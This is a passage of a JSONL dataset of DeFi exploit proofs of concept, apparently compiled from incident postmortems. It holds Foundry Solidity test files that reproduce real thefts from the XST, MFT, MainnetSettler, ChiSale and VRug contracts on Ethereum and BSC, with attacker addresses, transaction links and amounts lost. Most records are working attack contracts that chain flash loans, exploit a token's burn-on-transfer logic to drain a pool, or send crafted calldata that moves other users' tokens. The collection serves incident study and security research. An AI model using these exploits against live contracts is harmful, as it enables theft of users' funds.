swapAmount, address(this), \"00\");\n uint256 nowWETHBalance = IERC20(WETH).balanceOf(address(this));\n console.log(\"my weth balance: %s\", nowWETHBalance);\n uint256 v = amount;\n uint256 fee = v * 4 / 1e3;\n uint256 refund = v + fee;\n console.log(\"Refund %s:\", refund);\n IERC20(WETH).transfer(UniswapV20x0d4a, refund);\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "XST", "date": "2022-08", "file_name": "XST_exp.sol", "attack_vector": null, "content_hash": "4b13f6a0fa4f6c90", "collected_at": "2026-01-07T10:59:16.546244", "_source": "postmortems", "chain": "unknown", "block_number": 15310016, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n uint256 balance = IERC20(WETH).balanceOf(UniswapV20x694f);\n IUniswapV2Pair(UniswapV20x0d4a).swap(balance * 2, 0, address(this), \"0000\");\n uint256 WETHBalance = IERC20(WETH).balanceOf(address(this));\n console.log(\"now my weth num: %s\", WETHBalance / 1e18);\n IERC20(WETH).withdraw(WETHBalance);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.71, "quality_estimate": "low", "title": "XST Exploit (2022-08)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : $8.5k\n// Attacker : https://bscscan.com/address/0x9f2ecec0145242c094b17807f299ce552a625ac5\n// Attack Contract : https://bscscan.com/address/0x9b78b5d9febce2b8868ea6ee2822cb482a85ad74\n// Vulnerable Contract : https://bscscan.com/address/0xb7e1d1372f2880373d7c5a931cdbaa73c38663c6\n// Attack Tx : https://bscscan.com/tx/0x864d33d006e5c39c9ee8b35be5ae05a2013e556be3e078e2881b0cc6281bb265\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xb7e1d1372f2880373d7c5a931cdbaa73c38663c6\n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1860867560885150050\n// Twitter Guy : https://x.com/TenArmorAlert/status/1860867560885150050\n// Hacking God : N/A\n\naddress constant PancakeRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\naddress constant BEP20USDT = 0x55d398326f99059fF775485246999027B3197955;\naddress constant ERC1967Proxy = 0xb7E1D1372f2880373d7C5a931cDbAA73C38663C6;\naddress constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\naddress constant attacker = 0x9f2eceC0145242c094b17807f299Ce552A625ac5;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"bsc\", 44294726);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n // deal(BEP20USDT, address(attC), 8484920000000000000000);\n attC.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n emit log_named_decimal_uint(\"after attack: balance of address(attC)\", IERC20(0x7570FDAd10010A06712cae03D2fC2B3A53640aa4).balanceOf(address(attC)), 18);\n }\n}\n\ncontract AttackerC {\n constructor() {}\n\n function attack() external {\n uint256 proxyUsdtBal = IBEP20USDT(BEP20USDT).balanceOf(ERC1967Proxy);\n bytes32 fixedData1 = hex\"000001baffffe897231d193affff3120000000e19c552ef6e3cf430838298000\";\n bytes memory data = abi.encodePacked(\n bytes4(0x9b3e9b92),\n abi.encode(\n address(BEP20USDT),\n fixedData1,\n uint256(0),\n uint256(1),\n uint256(192),\n uint256(224),\n uint256(0),\n uint256(0)\n )\n );\n (bool c2, ) = ERC1967Proxy.call(data);\n\n uint256 nextOrderId = IERC1967Proxy(ERC1967Proxy).nextOrderId();\n bytes32 fixedData2 = hex\"fffffffffffffffffffffffffffffffffffffffffffffffffffff8cd94b80000\";\n bytes memory data2 = abi.encodePacked(\n bytes4(0x9b3e9b92),\n abi.encode(\n address(BEP20USDT),\n fixedData2,\n uint256(0),\n uint256(1),\n uint256(192),\n uint256(256),\n uint256(1),\n nextOrderId,\n uint256(1),\n uint256(proxyUsdtBal)\n )\n );\n (bool c4, ) = ERC1967Proxy.call(data2);\n\n uint256 selfBal = IBEP20USDT(BEP20USDT).balanceOf(address(this));\n\n IBEP20USDT(BEP20USDT).approve(PancakeRouter, type(uint256).max);\n \n address[] memory path = new address[](2);\n path[0] = BEP20USDT;\n path[1] = wbnb;\n IPancakeRouter(payable(PancakeRouter)).swapExactTokensForETHSupportingFeeOnTransferTokens(\n selfBal,\n 0,\n path,\n tx.origin,\n block.timestamp\n );\n } \n}\n\ninterface IERC1967Proxy {\n function nextOrderId() external view returns (uint256);\n}\n\ninterface IBEP20USDT {\n\tfunction balanceOf(address) external returns (uint256);\n\tfunction approve(address, uint256) external returns (bool); \n}", "type": "exploit_poc", "protocol": "proxy_b7e1", "date": "2024-11", "file_name": "proxy_b7e1_exp.sol", "attack_vector": null, "content_hash": "5fe9d6a4581205bb", "collected_at": "2026-01-07T10:59:16.546297", "_source": "postmortems", "chain": "bsc", "block_number": 44294726, "total_lost_raw": "$8.5k", "total_lost_usd": 8500.0, "attacker_address": "https://bscscan.com/address/0x9f2ecec0145242c094b17807f299ce552a625ac5", "attack_contract": "https://bscscan.com/address/0x9b78b5d9febce2b8868ea6ee2822cb482a85ad74", "vulnerable_contract": "https://bscscan.com/address/0xb7e1d1372f2880373d7c5a931cdbaa73c38663c6", "attack_tx": "https://bscscan.com/tx/0x864d33d006e5c39c9ee8b35be5ae05a2013e556be3e078e2881b0cc6281bb265", "postmortem_url": "https://x.com/TenArmorAlert/status/1860867560885150050", "twitter_url": "https://x.com/TenArmorAlert/status/1860867560885150050", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "$8.5k", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n // deal(BEP20USDT, address(attC), 8484920000000000000000);\n attC.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n emit log_named_decimal_uint(\"after attack: balance of address(attC)\", IERC20(0x7570FDAd10010A06712cae03D2fC2B3A53640aa4).balanceOf(address(attC)), 18);\n }\n}\n\ncontract AttackerC {\n constructor() {}", "has_exploit_code": true, "keyinfo_total_lost": "$8.5k", "keyinfo_attacker": "https://bscscan.com/address/0x9f2ecec0145242c094b17807f299ce552a625ac5", "keyinfo_attack_contract": "https://bscscan.com/address/0x9b78b5d9febce2b8868ea6ee2822cb482a85ad74", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xb7e1d1372f2880373d7c5a931cdbaa73c38663c6", "keyinfo_attack_tx": "https://bscscan.com/tx/0x864d33d006e5c39c9ee8b35be5ae05a2013e556be3e078e2881b0cc6281bb265", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1860867560885150050", "analysis_twitter": "https://x.com/TenArmorAlert/status/1860867560885150050", "funds_lost_formatted": "$8.5K", "content_richness_score": 7.96, "quality_estimate": "medium", "title": "proxy_b7e1 Exploit (2024-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 33.7k USD\n// Attacker : https://bscscan.com/address/0x2bee9915ddefdc987a42275fbcc39ed178a70aaa\n// Attack Contract : https://bscscan.com/address/0x6E088C3dD1055F5dD1660C1c64dE2af8110B85a8\n// Vulnerable Contract : https://bscscan.com/address/0x29Ee4526e3A4078Ce37762Dc864424A089Ebba11\n// Attack Tx : https://bscscan.com/tx/0xe24ee2af7ceee6d6fad1cacda26004adfe0f44d397a17d2aca56c9a01d759142\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x29Ee4526e3A4078Ce37762Dc864424A089Ebba11#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1858351609371406617\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\n// pancake USDT / WBNB pool\naddress constant USDT_WBNB_POOL_001 = 0x172fcD41E0913e95784454622d1c3724f546f849;\n// pancake USDT / USDC pool\naddress constant USDT_USDC_POOL = 0x92b7807bF19b7DDdf89b706143896d05228f3121;\n// pancake USDT / WBNB pool\naddress constant USDT_WBNB_POOL_005 = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;\naddress constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;\naddress constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\naddress constant CAKE_LP = 0x67C88f71da4Ef48Ad4bEa9000264c9a17Ef2a7Aa;\naddress constant MFT_TOKEN = 0x29Ee4526e3A4078Ce37762Dc864424A089Ebba11;\naddress constant PLEDGE_ADDR = 0xCa9dA4C9CA17951893bAdA3574160d36Ac6735B9;\naddress constant MSF_EXPLOITER = 0x2BeE9915DDEFDC987A42275fbcC39ed178A70aAA;\n\ncontract MFT is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 44097964 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = BSC_USD;\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n AttackContract attackContract = new AttackContract();\n\n vm.prank(MSF_EXPLOITER);\n IERC20(MFT_TOKEN).approve(address(attackContract), type(uint256).max);\n\n // Step 0\n attackContract.transfer2(MFT_TOKEN, 14_000_000);\n }\n}\n\ncontract AttackContract {\n address[] pools = [USDT_WBNB_POOL_001, USDT_USDC_POOL, USDT_WBNB_POOL_005];\n\n // store flash loan fees\n uint256[] fees = [0, 0, 0];\n\n // store flash loan amounts\n uint256[] borrowAmounts = [0, 0, 0];\n address public target;\n address public attacker;\n constructor() {\n attacker = msg.sender;\n }\n\n function transfer2(address to, uint256 amount) public {\n target = to;\n borrowAmounts[2] = amount * 1e18;\n\n // Step 1: Borrow BSC from USDT_WBNB_POOL_001\n borrow(1);\n }\n\n function borrow(uint256 num) internal {\n address pool = pools[num-1];\n uint256 borrowAmount = borrowAmounts[num-1];\n if (borrowAmount == 0) {\n borrowAmount = IERC20(BSC_USD).balanceOf(pool);\n borrowAmounts[num-1] = borrowAmount;\n }\n bytes memory data = abi.encode(uint256(num));\n IPancakeV3Pool(pool).flash(address(this), borrowAmount, 0, data);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {\n uint256 num = abi.decode(data, (uint256));\n fees[num-1] = fee0;\n if (num < pools.length) {\n // Step 2: Borrow BSC from USDT_USDC_POOL\n // Step 3: Borrow BSC from USDT_WBNB_POOL_005\n borrow(num + 1);\n\n if (num == 1) {\n // Step 10: Pay flash load 0\n IERC20 bsc = IERC20(BSC_USD);\n bsc.transfer(pools[0], borrowAmounts[0] + fees[0]);\n // Step 11: Send rest BSC to attacker\n bsc.transfer(attacker, bsc.balanceOf(address(this)));\n }\n } else {\n // Step 4: Attack MFT\n realAttack();\n }\n \n }\n\n function realAttack() public {\n IERC20 bsc = IERC20(BSC_USD);\n IERC20 mft = IERC20(MFT_TOKEN);\n bsc.approve(PANCAKE_ROUTER, type(uint256).max);\n mft.approve(PANCAKE_ROUTER, type(uint256).max);\n\n // 0x2c8ad95cf1f85715abbe9d60c29826c82396a1ac.transferFrom()\n\n // Root cause: MFT.transfer() will burn token from the pool when user trys to sell token.\n // Step 5: makes a few transfers to the pair to trigger the sell in the MFT transfer()\n for (uint256 i = 0; i < 5; i++) {\n uint256 mftBalance = mft.balanceOf(MFT_TOKEN);\n mft.transferFrom(MSF_EXPLOITER, CAKE_LP, mftBalance);\n }\n\n IPancakePair cakeLp = IPancakePair(CAKE_LP);\n cakeLp.skim(PLEDGE_ADDR);\n\n // Step 6: buy a large amount of MFT, making the MFT balance of the pair low\n uint256 bscBalance = bsc.balanceOf(address(this));\n address[] memory BSC_MFT_PATH = new address[](2);\n BSC_MFT_PATH[0] = BSC_USD;\n BSC_MFT_PATH[1] = MFT_TOKEN;\n IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(bscBalance, 0, BSC_MFT_PATH, PLEDGE_ADDR, block.timestamp);\n\n uint256 lpMftBalance = mft.balanceOf(CAKE_LP);\n mft.transferFrom(MSF_EXPLOITER, CAKE_LP, lpMftBalance - 1 wei);\n\n address[] memory MFT_BSC_PATH = new address[](2);\n MFT_BSC_PATH[0] = MFT_TOKEN;\n MFT_BSC_PATH[1] = BSC_USD;\n lpMftBalance = mft.balanceOf(CAKE_LP);\n\n (uint256 reserve0, uint256 reserve1, uint256 _blockTimestampLast) = IPancakePair(CAKE_LP).getReserves();\n uint256 amounttIn = lpMftBalance - reserve0;\n uint256[] memory amounts = IPancakeRouter(payable(PANCAKE_ROUTER)).getAmountsOut(amounttIn, MFT_BSC_PATH);\n\n // Step 7: selling an equal amount of MFT again, and due to burn meachanism, the pool is drained.\n IPancakePair(CAKE_LP).swap(0, amounts[1], address(this), \"\");\n\n // Step 8: Pay flash load 1\n bsc.transfer(pools[1], borrowAmounts[1] + fees[1]);\n // Step 9: Pay flash load 2\n bsc.transfer(pools[2], borrowAmounts[2] + fees[2]);\n }\n}\n", "type": "exploit_poc", "protocol": "MFT", "date": "2024-11", "file_name": "MFT_exp.sol", "attack_vector": null, "content_hash": "100630baaec17732", "collected_at": "2026-01-07T10:59:16.546360", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "33.7k USD", "total_lost_usd": 33700.0, "attacker_address": "https://bscscan.com/address/0x2bee9915ddefdc987a42275fbcc39ed178a70aaa", "attack_contract": "https://bscscan.com/address/0x6E088C3dD1055F5dD1660C1c64dE2af8110B85a8", "vulnerable_contract": "https://bscscan.com/address/0x29Ee4526e3A4078Ce37762Dc864424A089Ebba11", "attack_tx": "https://bscscan.com/tx/0xe24ee2af7ceee6d6fad1cacda26004adfe0f44d397a17d2aca56c9a01d759142", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1858351609371406617", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "33.7k USD", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n AttackContract attackContract = new AttackContract();\n\n vm.prank(MSF_EXPLOITER);\n IERC20(MFT_TOKEN).approve(address(attackContract), type(uint256).max);\n\n // Step 0\n attackContract.transfer2(MFT_TOKEN, 14_000_000);\n }\n}\n\ncontract AttackContract {\n address[] pools = [USDT_WBNB_POOL_001, USDT_USDC_POOL, USDT_WBNB_POOL_005];\n\n // store flash loan fees\n uint256[] fees = [0, 0, 0];\n\n // store flash loan amounts\n uint256[] borrowAmounts = [0, 0, 0];\n address public target;\n address public attacker;\n constructor() {\n attacker = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "33.7k USD", "keyinfo_attacker": "https://bscscan.com/address/0x2bee9915ddefdc987a42275fbcc39ed178a70aaa", "keyinfo_attack_contract": "https://bscscan.com/address/0x6E088C3dD1055F5dD1660C1c64dE2af8110B85a8", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x29Ee4526e3A4078Ce37762Dc864424A089Ebba11", "keyinfo_attack_tx": "https://bscscan.com/tx/0xe24ee2af7ceee6d6fad1cacda26004adfe0f44d397a17d2aca56c9a01d759142", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1858351609371406617", "funds_lost_formatted": "$33.7K", "content_richness_score": 9, "quality_estimate": "high", "title": "MFT Exploit (2024-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : $66K\n// Attacker : https://etherscan.io/address/0x3a38877312d1125d2391663cba9f7190953bf2d9\n// Attack Contract : https://etherscan.io/address/0x285d37b0480910f977cd43c9bd228527bfad816e, https://etherscan.io/address/0x95b4fecf1f5b9c56ce51ebfedd582c5f40f2ef8c\n// Vulnerable Contract : \n// Attack Tx : https://etherscan.io/tx/0xfab5912f858b3768b7b7d312abcc02b64af7b1e1b62c4f29a2c1a2d1568e9fa2\n\n// @Info\n// Vulnerable Contract Code : \n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1859416451473604902\n// Twitter Guy : https://x.com/TenArmorAlert/status/1859416451473604902\n// Hacking God : N/A\n\naddress constant MainnetSettler = 0x70bf6634eE8Cb27D04478f184b9b8BB13E5f4710;\naddress constant attacker = 0x3A38877312D1125d2391663CBa9f7190953Bf2d9;\naddress constant hold = 0x68B36248477277865c64DFc78884Ef80577078F3;\naddress constant addr3 = 0xA31d98b1aA71a99565EC2564b81f834E90B1097b;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 21230768-1);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(hold).balanceOf(attacker), 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(hold).balanceOf(attacker), 18);\n }\n}\n\ncontract AttackerC {\n constructor() {\n new AttackerCC();\n } \n}\n\ncontract AttackerCC {\n constructor() {\n bytes32 fixeddata = hex\"e0b1db9e7c871328327e3f9e0000000000000000000000000000000000000000\";\n\n bytes memory call1 = abi.encodeWithSelector(\n bytes4(0x38c9c147),\n uint256(0),\n uint256(10000),\n address(hold),\n uint256(0),\n uint256(160),\n uint256(100)\n );\n\n bytes memory call2 = abi.encodeWithSelector(\n bytes4(0x23b872dd),\n address(addr3),\n address(attacker),\n uint256(308453642481581939556432141)\n );\n\n bytes[] memory actions = new bytes[](1);\n actions[0] = abi.encodePacked(call1,call2);\n \n IMainnetSettler.Slippage[] memory slippages = new IMainnetSettler.Slippage[](1);\n slippages[0] = IMainnetSettler.Slippage({\n recipient: address(0),\n buyToken: address(0),\n minAmountOut: 0 \n });\n\n bytes memory data = abi.encodeWithSelector(\n IMainnetSettler.execute.selector,\n slippages[0],\n actions,\n fixeddata\n );\n (bool ok, ) = MainnetSettler.call(data);\n }\n}\n\ninterface IMainnetSettler {\n struct Slippage {\n address recipient;\n address buyToken;\n uint256 minAmountOut;\n }\n\tfunction execute(Slippage calldata, bytes[] calldata, bytes32) external returns (bool); \n}", "type": "exploit_poc", "protocol": "MainnetSettler", "date": "2024-11", "file_name": "MainnetSettler_exp.sol", "attack_vector": null, "content_hash": "a19a05bcea68d49d", "collected_at": "2026-01-07T10:59:16.546422", "_source": "postmortems", "chain": "ethereum", "block_number": 21230768, "total_lost_raw": "$66K", "total_lost_usd": 66000.0, "attacker_address": "https://etherscan.io/address/0x3a38877312d1125d2391663cba9f7190953bf2d9", "attack_contract": "https://etherscan.io/address/0x285d37b0480910f977cd43c9bd228527bfad816e,", "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0xfab5912f858b3768b7b7d312abcc02b64af7b1e1b62c4f29a2c1a2d1568e9fa2", "postmortem_url": "https://x.com/TenArmorAlert/status/1859416451473604902", "twitter_url": "https://x.com/TenArmorAlert/status/1859416451473604902", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "$66K", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(hold).balanceOf(attacker), 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(hold).balanceOf(attacker), 18);\n }\n}\n\ncontract AttackerC {\n constructor() {\n new AttackerCC();\n } \n}\n\ncontract AttackerCC {\n constructor() {\n bytes32 fixeddata = hex\"e0b1db9e7c871328327e3f9e0000000000000000000000000000000000000000\";\n\n bytes memory call1 = abi.encodeWithSelector(\n bytes4(0x38c9c147),\n uint256(0),\n uint256(10000),\n address(hold),\n uint256(0),\n uint256(160),\n uint256(100)\n );\n\n bytes memory call2 = abi.encodeWithSelector(\n bytes4(0x23b872dd),\n address(addr3),\n address(attacker),\n uint256(308453642481581939556432141)\n );\n\n bytes[] memory actions = new bytes[](1);\n actions[0] = abi.encodePacked(call1,call2);\n \n IMainnetSettler.Slippage[] memory slippages = new IMainnetSettler.Slippage[](1);\n slippages[0] = IMainnetSettler.Slippage({\n recipient: address(0),\n buyToken: address(0),\n minAmountOut: 0 \n });\n\n bytes memory data = abi.encodeWithSelector(\n IMainnetSettler.execute.selector,\n slippages[0],\n actions,\n fixeddata\n );\n (bool ok, ) = MainnetSettler.call(data);\n }\n}\n\ninterface IMainnetSettler {\n struct Slippage {\n address recipient;\n address buyToken;\n uint256 minAmountOut;\n }", "has_exploit_code": true, "keyinfo_total_lost": "$66K", "keyinfo_attacker": "https://etherscan.io/address/0x3a38877312d1125d2391663cba9f7190953bf2d9", "keyinfo_attack_contract": "https://etherscan.io/address/0x285d37b0480910f977cd43c9bd228527bfad816e,", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0xfab5912f858b3768b7b7d312abcc02b64af7b1e1b62c4f29a2c1a2d1568e9fa2", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1859416451473604902", "analysis_twitter": "https://x.com/TenArmorAlert/status/1859416451473604902", "funds_lost_formatted": "$66.0K", "content_richness_score": 6.5, "quality_estimate": "medium", "title": "MainnetSettler Exploit (2024-11)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 16.3k USD\n// Attacker : https://bscscan.com/address/0xe60329a82c5add1898ba273fc53835ac7e6fd5ca\n// Attack Contract : \n// Vulnerable Contract : https://etherscan.io/address/0x050163597d9905ba66400f7b3ca8f2ef23df702d\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x586a2a4368a1a45489a8a9b4273509b524b672c33e6c544d2682771b44f05e87\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x050163597d9905ba66400f7b3ca8f2ef23df702d\n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1854357930382156107\n// Twitter Guy : https://x.com/TenArmorAlert/status/1854357930382156107\n// Hacking God : N/A\n\naddress constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant ProtocolFeesCollector = 0xce88686553686DA562CE7Cea497CE749DA109f9F;\naddress constant attacker = 0xEE4073183E07Aa0FC1B96D6308793840f02B6e88;\naddress constant addr1 = 0x931b8905C310Ab133373f50ba66FEba2793F80eA;\naddress constant addr2 = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 21132838 - 1);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.flashLoan();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0xBA12222222228d8Ba445958a75a0704d566BF2C8\ncontract AttackerC {\n address private constant VAULT = addr2;\n address private constant RECEIVER = addr1;\n address private constant WETH = weth9;\n\n function flashLoan() public {\n address[] memory tokens = new address[](1);\n tokens[0] = WETH;\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 25000 * 1e18;\n bytes memory userData = \"\";\n\n (bool ok, ) = VAULT.call(\n abi.encodeWithSelector(\n IBalancerVaultLocal.flashLoan.selector,\n RECEIVER,\n tokens,\n amounts,\n userData\n )\n );\n require(ok, \"flashLoan failed\");\n }\n \n function receiveFlashLoan(address[] memory, uint256[] memory, uint256[] memory, bytes memory) external {\n }\n}\n\ninterface IWETH9 {\n\tfunction transfer(address, uint256) external returns (bool);\n\tfunction balanceOf(address) external returns (uint256); \n}\ninterface IProtocolFeesCollector {\n\tfunction getFlashLoanFeePercentage() external returns (uint256); \n}\n\ninterface IBalancerVaultLocal {\n function flashLoan(\n address recipient,\n address[] calldata tokens,\n uint256[] calldata amounts,\n bytes calldata userData\n ) external;\n}", "type": "exploit_poc", "protocol": "ChiSale", "date": "2024-11", "file_name": "ChiSale_exp.sol", "attack_vector": "flash_loan", "content_hash": "e86cc3246c0309c3", "collected_at": "2026-01-07T10:59:16.546467", "_source": "postmortems", "chain": "ethereum", "block_number": 21132838, "total_lost_raw": "16.3k USD", "total_lost_usd": 16300.0, "attacker_address": "https://bscscan.com/address/0xe60329a82c5add1898ba273fc53835ac7e6fd5ca", "attack_contract": null, "vulnerable_contract": "https://etherscan.io/address/0x050163597d9905ba66400f7b3ca8f2ef23df702d", "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x586a2a4368a1a45489a8a9b4273509b524b672c33e6c544d2682771b44f05e87", "postmortem_url": "https://x.com/TenArmorAlert/status/1854357930382156107", "twitter_url": "https://x.com/TenArmorAlert/status/1854357930382156107", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "16.3k USD", "category": "flash-loan", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.flashLoan();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0xBA12222222228d8Ba445958a75a0704d566BF2C8\ncontract AttackerC {\n address private constant VAULT = addr2;\n address private constant RECEIVER = addr1;\n address private constant WETH = weth9;", "has_exploit_code": true, "keyinfo_total_lost": "16.3k USD", "keyinfo_attacker": "https://bscscan.com/address/0xe60329a82c5add1898ba273fc53835ac7e6fd5ca", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x050163597d9905ba66400f7b3ca8f2ef23df702d", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x586a2a4368a1a45489a8a9b4273509b524b672c33e6c544d2682771b44f05e87", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1854357930382156107", "analysis_twitter": "https://x.com/TenArmorAlert/status/1854357930382156107", "funds_lost_formatted": "$16.3K", "content_richness_score": 8.46, "quality_estimate": "high", "title": "ChiSale Exploit (2024-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 8.4K\n// Attacker : \n// Attack Contract : \n// Vulnerable Contract : \n// Attack Tx : https://etherscan.io/tx/0x5e151627dc06ec4f2db5be2f48248f320ad3450aba42b1bbd00131bcbaa4f0ae\n\n// @Info\n// Vulnerable Contract Code : \n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1854702463737380958\n// Twitter Guy : https://x.com/TenArmorAlert/status/1854702463737380958\n// Hacking God : N/A\n\naddress constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant attacker = 0x080086911D8c78008800FAE75871a657b77d0082;\naddress constant mev = 0x0000E0Ca771e21bD00057F54A68C30D400000000;\naddress constant univ2 = 0x8Cc0c46000A6a4097F9C62293CE62eE5B81E6dfd;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 21138659);\n }\n \n function testPoC() public {\n vm.startPrank(attacker, attacker);\n deal(weth9, address(univ2), 3208323423502347412);\n emit log_named_decimal_uint(\"before attack: balance of mev\", IERC20(weth9).balanceOf(mev), 18);\n IUniswapV2Pair(univ2).swap(2903872687851807969, 0, address(mev), \"\");\n emit log_named_decimal_uint(\"after attack: balance of mev\", IERC20(weth9).balanceOf(mev), 18);\n vm.stopPrank();\n }\n}", "type": "exploit_poc", "protocol": "VRug", "date": "2024-11", "file_name": "VRug_exp.sol", "attack_vector": null, "content_hash": "0cb63c6cec375acd", "collected_at": "2026-01-07T10:59:16.546511", "_source": "postmortems", "chain": "ethereum", "block_number": 21138659, "total_lost_raw": "8.4K", "total_lost_usd": 8400.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0x5e151627dc06ec4f2db5be2f48248f320ad3450aba42b1bbd00131bcbaa4f0ae", "postmortem_url": "https://x.com/TenArmorAlert/status/1854702463737380958", "twitter_url": "https://x.com/TenArmorAlert/status/1854702463737380958", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "8.4K", "category": "unknown", "exploit_code": "function testPoC() public {\n vm.startPrank(attacker, attacker);\n deal(weth9, address(univ2), 